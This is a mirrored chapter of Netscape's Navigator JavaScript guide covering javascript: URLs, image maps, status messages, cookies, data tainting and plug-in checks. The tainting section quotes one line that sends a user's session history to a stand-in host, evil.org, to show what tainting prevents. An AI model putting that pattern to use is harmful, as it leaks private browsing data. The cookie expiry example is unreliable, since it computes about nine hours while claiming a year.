his chapter describes some special concepts and applications that extend
the power and flexibility of Navigator JavaScript. The chapter covers the
following topics:
You should be familiar with the standard types of URLS:
http, ftp, file, and so on. With Navigator you can also use URLs of type
"javascript:" to execute JavaScript statements instead of loading a document.
You simply use a string beginning with "javascript:" as the value for the
HREF attribute of anchor tags. For example, you can define a hyperlink as
follows:
<A HREF="javascript:history.go(0)">Reload Now</A>
to reload the current page when the user clicks it. In
general, you can put any statements or function calls after the "javascript:"
URL prefix.
You can use JavaScript URLs in
many ways to add functionality to your applications. For example, you could
increment a counter p1 in a parent frame whenever a user clicks a
link, using the following function:
function countJumps() {
parent.p1++
window.location=page1
}
To call the function, use a JavaScript URL in a standard
HTML hyperlink:
<A HREF="javascript:countJumps()">Page 1</A>
This example assumes page1 is a string representing
a URL.
If the value of the expression following a "javascript:"
URL prefix evaluates to undefined, no new document is loaded. If the expression
evaluates to a defined type, the value is converted to a string that specifies
the source of the document to load.
A client-side image map is defined with the MAP tag. You
can define areas within the image that are hyperlinks to distinct URLs; the
areas can be rectangles, circles, or polygons.
Instead of standard URLs, you can
also use JavaScript URLs in client-side image maps, for example,
<MAP NAME="buttonbar">
<AREA SHAPE="RECT" COORDS="0,0,16,14"
HREF ="javascript:top.close(); window.location = newnav.html">
<AREA SHAPE="RECT" COORDS="0,0,85,46"
HREF="contents.html" target="javascript:alert(`Loading
Contents.'); top.location = contents.html">
</MAP>
Client-side image maps provide functionality to perform
most tasks, but standard (sometimes called server-side) image maps provide
even more flexibility. You specify a standard image map with the ISMAP attribute
of an IMG tag that is a hyperlink. For example,
The "about:logo" image is built in to Navigator and displays
the Netscape logo.
<A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A>
When you click an image with the ISMAP attribute, Navigator
requests a URL of the form
URL?x,y
where URL is the document specified by the value
of the HREF attribute, and x and y are the horizontal and vertical
coordinates of the mouse pointer (in pixels from the top-left of the image)
when you clicked.
Traditionally, image-map requests are sent to servers,
and a CGI program performs a database lookup function. With Navigator JavaScript,
however, you can perform the lookup on the client. You can use the
search property of the location object to parse the x
and y coordinates and perform an action accordingly. For example,
suppose you have a file named img.html
with the following
content:
<H1>Click on the image</H1>
<P>
<A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A>
<SCRIPT>
str = location.search
if (str == "")
document.write("<P>No coordinates specified.")
else {
commaloc = str.indexOf(",") // the location of the comma
document.write("<P>The x value is " + str.substring(1, commaloc))
document.write("<P>The y value is " + str.substring(commaloc+1, str.length))
}
</SCRIPT>
When you click a part of the image, Navigator reloads
the page (because the HREF attribute specifies the same document), adding
the x and y coordinates of the mouse-click to the URL. The
statements in the else clause then display the x and y
coordinates. In practice, you could redirect to another page (by setting
location) or perform some other action based on the values of x and
y.
You can use two window properties, status
and defaultStatus, to display messages in the Navigator status bar
at the bottom of the window. Navigator normally uses the status bar to display
such messages as "Contacting Host..." and "Document: Done." The
defaultStatus message appears when nothing else is in the status bar.
The status property displays a transient message in the status bar,
such as when the user moves the mouse pointer over a link.
You can set these properties to display custom messages.
For example, to display a custom message after the document has finished
loading, simply set defaultStatus. For example,
defaultStatus = "Some rise, some fall, some climb...to get to Terrapin"
By default, when you move the mouse pointer over a hyperlink,
the status bar displays the destination URL of the link. You can set
status in the onMouseOut and onMouseOver event handlers of a hyperlink
or image area to display hints in the status bar instead. The event handler
must return true to set status. For example,
<A HREF="contents.html"
onMouseOver="window.status='Click to display contents';return true">
Contents</A>
This example displays the hint "Click to display contents"
in the status bar when you move the mouse pointer over the link.
For a complete description of cookies, see
Appendix D, "Netscape cookies.".
Netscape cookies are a mechanism for storing persistent
data on the client in a file called cookies.txt
. Because HyperText
Transport Protocol (HTTP) is a stateless protocol, cookies provide a way
to maintain information between client requests. This section discusses basic
uses of cookies and illustrates with a simple example.
Each cookie is a small item of information with an optional
expiration date and is added to the cookie file in the following format:
name=value;expires=expDate;
For more information on escape and unescape, see the topics
in the reference section.
name is the name of the datum being stored, and
value is its value. If name and value contain any semicolon,
comma, or blank (space) characters, you must use the escape function
to encode them and the unescape function to decode them.
expDate is the expiration date, in GMT date
format:
Wdy, DD-Mon-YY HH:MM:SS GMT
Although it's slightly different from this format, the
date string returned by the Date method toGMTString can be
used to set cookie expiration dates.
The expiration date is an optional parameter indicating
how long to maintain the cookie. If expDate is not specified, the
cookie expires when the user exits the current Navigator session. Navigator
maintains and retrieves a cookie only if its expiration date has not yet
passed.
Cookies have these limitations
-
-
Three hundred total cookies in the cookie file.
-
4 Kbytes per cookie, for the sum of both the cookie's name and value.
-
Twenty cookies per server or domain (completely specified hosts and domains
are treated as separate entities and have a twenty-cookie limitation for
each, not combined).
Cookies can be associated with one or more directories.
If your files are all in one directory, then you need not worry about this.
If your files are in multiple directories, you may need to use an additional
path parameter for each cookie. For more information, see
Appendix D, "Netscape cookies."
The document.cookie property is a string that contains
all the names and values of Navigator cookies. You can use this property
to work with cookies in JavaScript.
Here are some basic things you can do with cookies:
-
-
Set a cookie value, optionally specifying an expiration date.
-
Get a cookie value, given the cookie name.
It is convenient to define functions to perform these
tasks. Here, for example, is a function that sets cookie values and
expiration:
// Sets cookie values. Expiration date is optional
//
function setCookie(name, value, expire) {
document.cookie = name + "=" + escape(value)
+ ((expire == null) ? "" : ("; expires=" + expire.toGMTString()))
}
Notice the use of escape to encode special characters
(semicolons, commas, spaces) in the value string. This function assumes that
cookie names do not have any special characters.
The following function returns a cookie value, given the
name of the cookie:
function getCookie(Name) {
var search = Name + "="
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset)
// set index of end of cookie value
if (end == -1)
end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}
Notice the use of unescape to decode special characters
in the cookie value.
Using the cookie functions defined in the previous section,
you can create a simple page users can fill in to "register" when they visit
your page. If they return to your page within a year, they will see a personal
greeting.
You need to define one additional
function in the HEAD of the document. This function, register, creates
a cookie with the name TheCoolJavaScriptPage and the value passed
to it as an argument.
function register(name) {
var today = new Date()
var expires = new Date()
expires.setTime(today.getTime() + 60*60*24*365)
setCookie("TheCoolJavaScriptPage", name, expires)
}
The BODY of the document uses getCookie (defined
in the previous section) to check whether the cookie for
TheCoolJavaScriptPage exists and displays a greeting if it does. Then
there is a form that calls register to add a cookie. The onClick event
handler also calls history.go(0)
to redraw the page.
<BODY>
<H1>Register Your Name with the Cookie-Meister</H1>
<P>
<SCRIPT>
var yourname = getCookie("TheCoolJavaScriptPage")
if (yourname != null)
document.write("<P>Welcome Back, ", yourname)
else
document.write("<P>You haven't been here in the last year...")
</SCRIPT>
<P> Enter your name. When you return to this page within a year, you will be greeted with a personalized greeting.
<BR>
<FORM onSubmit="return false">
Enter your name: <INPUT TYPE="text" NAME="username" SIZE= 10><BR>
<INPUT TYPE="button" value="Register"
onClick="register(this.form.username.value); history.go(0)">
</FORM>
Navigator version 2.02 and later automatically prevents
scripts on one server from accessing properties of documents on a different
server. This restriction prevents scripts from fetching private information
such as directory structures or user session history.
JavaScript for Navigator 3.0 has
a feature called data tainting that retains the security restriction
but provides a means of secure access to specific components on a page.
-
-
When data tainting is enabled, JavaScript in one window can see properties
of another window, no matter what server the other window's document was
loaded from. However, the author of the other window taints (marks)
property values or other data that should be secure or private, and JavaScript
cannot pass these tainted values on to any server without the user's permission.
-
When data tainting is disabled, a script cannot access any properties of
a window on another server.
To enable tainting, the end user sets an environment variable,
as described in "Enabling tainting".
A page's author is in charge of tainting elements. The
following properties are tainted by default:
Object |
Tainted properties |
document
|
cookie, domain, forms, lastModified, links, referrer,
title, URL
|
Form
|
action
|
any form input element
|
checked, defaultChecked, defaultValue, name,
selectedIndex, toString, value
|
history
|
current, next, previous, toString
|
Select option
|
defaultSelected, selected, text, value
|
location and Link
|
hash, host, hostname, href, pathname, port, protocol,
search, toString
|
window
|
defaultStatus, status
|
You can use tainted data elements any way you want in
your script, but if your script attempts to pass a tainted element's value
or any data derived from it over the network in any way (for example,
via a form submission or URL), a dialog box is displayed so the user can
confirm or cancel the operation.
Values derived from tainted data elements are also tainted.
If a tainted value is passed to a function, the return value of the function
is tainted. If a string is tainted, any substring of the string is also tainted.
If a script examines a tainted value in an if, for, or
while statement, the script itself accumulates taint.
You can taint and untaint properties, variables, functions,
and objects, as described in "Tainting and
untainting individual data elements". You cannot untaint another server's
properties or data elements.
To enable data tainting, the end user sets the
NS_ENABLE_TAINT environment variable as follows:
-
-
On Unix, use the setenv command in csh.
-
On Windows, use set in
autoexec.bat
or NT user settings.
-
On Macintosh, edit the resource with type "Envi" and number 128 in the Netscape
application by removing the two ascii slashes "//" before the
NS_ENABLE_TAINT text at the end of the resource.
NS_ENABLE_TAINT can have any value; "1" will do.
If the end user does not enable tainting and a script
attempts to access properties of a window on another server, a message is
displayed indicating that access is not allowed.
To determine whether tainting is
enabled, use the taintEnabled method. The following code executes
function1 if data tainting is enabled; otherwise it executes
function2.
if (navigator.taintEnabled()) {
function1()
}
else function2()
For details on taintEnabled, see
"taintEnabled".
You can taint data elements (properties, variables, functions,
objects) in your scripts to prevent the returned values from being used
inappropriately by other scripts or propagating beyond another script. You
might want to remove tainting from a data element so other scripts can read
and do anything with it. You cannot untaint another server's data elements.
You control the tainting of data
elements with two functions: taint adds tainting to a data element,
and untaint removes tainting from a data element. These functions
each take a single data element as an argument.
For example, the following statement removes taint from
a property so that a script can send it to another server:
untaintedStat=untaint(window.defaultStatus)
// untaintedStat can now be sent in a URL or form post by other scripts
Neither taint nor untaint modifies its argument;
rather, both functions return a marked or unmarked reference to the argument
object, or copy of the primitive type value (number or boolean value). The
mark is called a taint code. JavaScript assigns a unique taint code
to each server's data elements. Untainted data has the identity (null)
taint code.
For details on taint and untaint, see
"taint" and
"untaint".
In some cases, control flow rather than data flow carries
tainted information. To handle these cases, each window has a taint
accumulator. The taint accumulator holds taint tested in the condition
portion of if, for, and while statements. The accumulator
mixes different taint codes to create new codes that identify the combination
of data origins (for example, serverA, serverB, or serverC).
The taint accumulator is reset to identity only if it
contains the current document's original taint code. Otherwise, taint accumulates
until the document is unloaded. All windows loading documents from the same
origin share a taint accumulator.
You can add taint to or remove
taint from a window's taint accumulator.
-
-
To add taint to a window, call taint with no argument. JavaScript
adds the current document's taint code to the accumulator.
-
To remove taint from a window, call untaint with no argument. Calling
untaint with no arguments removes taint from the accumulator only
if the accumulator holds taint from the current window only; if it holds
taint from operations done on data elements from other servers,
untaint will have no effect. Removing taint from the accumulator results
in the accumulator having only the identity taint code.
If a window's taint accumulator holds taint and the script
attempts to pass data over the network, the taint codes in the accumulator
are checked. Only if the accumulated script taint, the taint code of the
targeted server, and the taint code of the data being sent are compatible
will the operation proceed. Compatible means that either two taint codes
are equal, or at least one is identity (null). If the script, server, and
data taints are incompatible, a dialog box is displayed so the user can confirm
or cancel the URL load or form post.
Accumulated taint propagates across
setTimeout and into the evaluation of the first argument to
setTimeout. It propagates through document.write into generated
tags, so that a malicious script cannot signal private information such as
session history by generating an HTML tag with an implicitly-loaded URL SRC
parameter such as the following:
document.write("<img src=http://evil.org/cgi.bin/fake-img?" +
encode(history) + ">")
You can use JavaScript to determine whether a user has
installed a particular plug-in; you can then display embedded plug-in data
if the plug-in is installed, or display some alternative information (for
example, an image or text) if it is not. You can also determine whether a
client is capable of handling a particular MIME (Multipart Internet Mail
Extension) type. This section introduces the objects and properties needed
for handling plug-ins and MIME types. For more detailed information on these
objects and properties, see the corresponding reference topics in Part 3,
"Reference."
The navigator object has
two properties for checking installed plug-ins: the mimeTypes array
and the plugins array.
mimeTypes is an array of all MIME types supported
by the client (either internally, via helper applications, or by plug-ins).
Each element of the array is a MimeType object, which has properties
for its type, description, file extensions, and enabled plug-ins.
For example, the following table summarizes the values
for displaying JPEG images:
The following script checks to see whether the client
is capable of displaying QuickTime movies.
var myMimetype = navigator.mimeTypes["video/quicktime"]
if (myMimetype)
document.writeln("Click <A HREF='movie.qt'>here</A> to see a " +
myMimetype.description)
else
document.writeln("Too bad, can't show you any movies.")
plugins is an array of all plug-ins currently installed
on the client. Each element of the array is a Plugin object, which
has properties for its name, file name, and description as well as an array
of MimeType objects for the MIME types supported by that plug-in.
The user can obtain a list of installed plug-ins by choosing About Plug-ins
from the Help menu.
For example, the following table summarizes the values
for the LiveAudio plug-in:
In the previous table, the length property indicates
that navigator.plugins['LiveAudio']
has an array of
MimeType objects containing seven elements. The property values for
the second element of this array are as follows:
The following script checks to see whether the Shockwave
plug-in is installed and displays an embedded Shockwave movie if it is:
var myPlugin = navigator.plugins["Shockwave"]
if (myPlugin)
document.writeln("<EMBED SRC='Movie.dir' HEIGHT=100 WIDTH=100>")
else
document.writeln("You don't have Shockwave installed!")
file: /Techref/language/java/script/advtopic.htm, 36KB, , updated: 2009/2/2 13:27, local time: 2024/11/25 08:40,
|
| ©2024 These pages are served without commercial sponsorship. (No popup ads, etc...).Bandwidth abuse increases hosting cost forcing sponsorship or shutdown. This server aggressively defends against automated copying for any reason including offline viewing, duplication, etc... Please respect this requirement and DO NOT RIP THIS SITE. Questions? <A HREF="http://massmind.org/Techref/language/java/script/advtopic.htm"> Advanced topics </A> |
Did you find what you needed?
|
.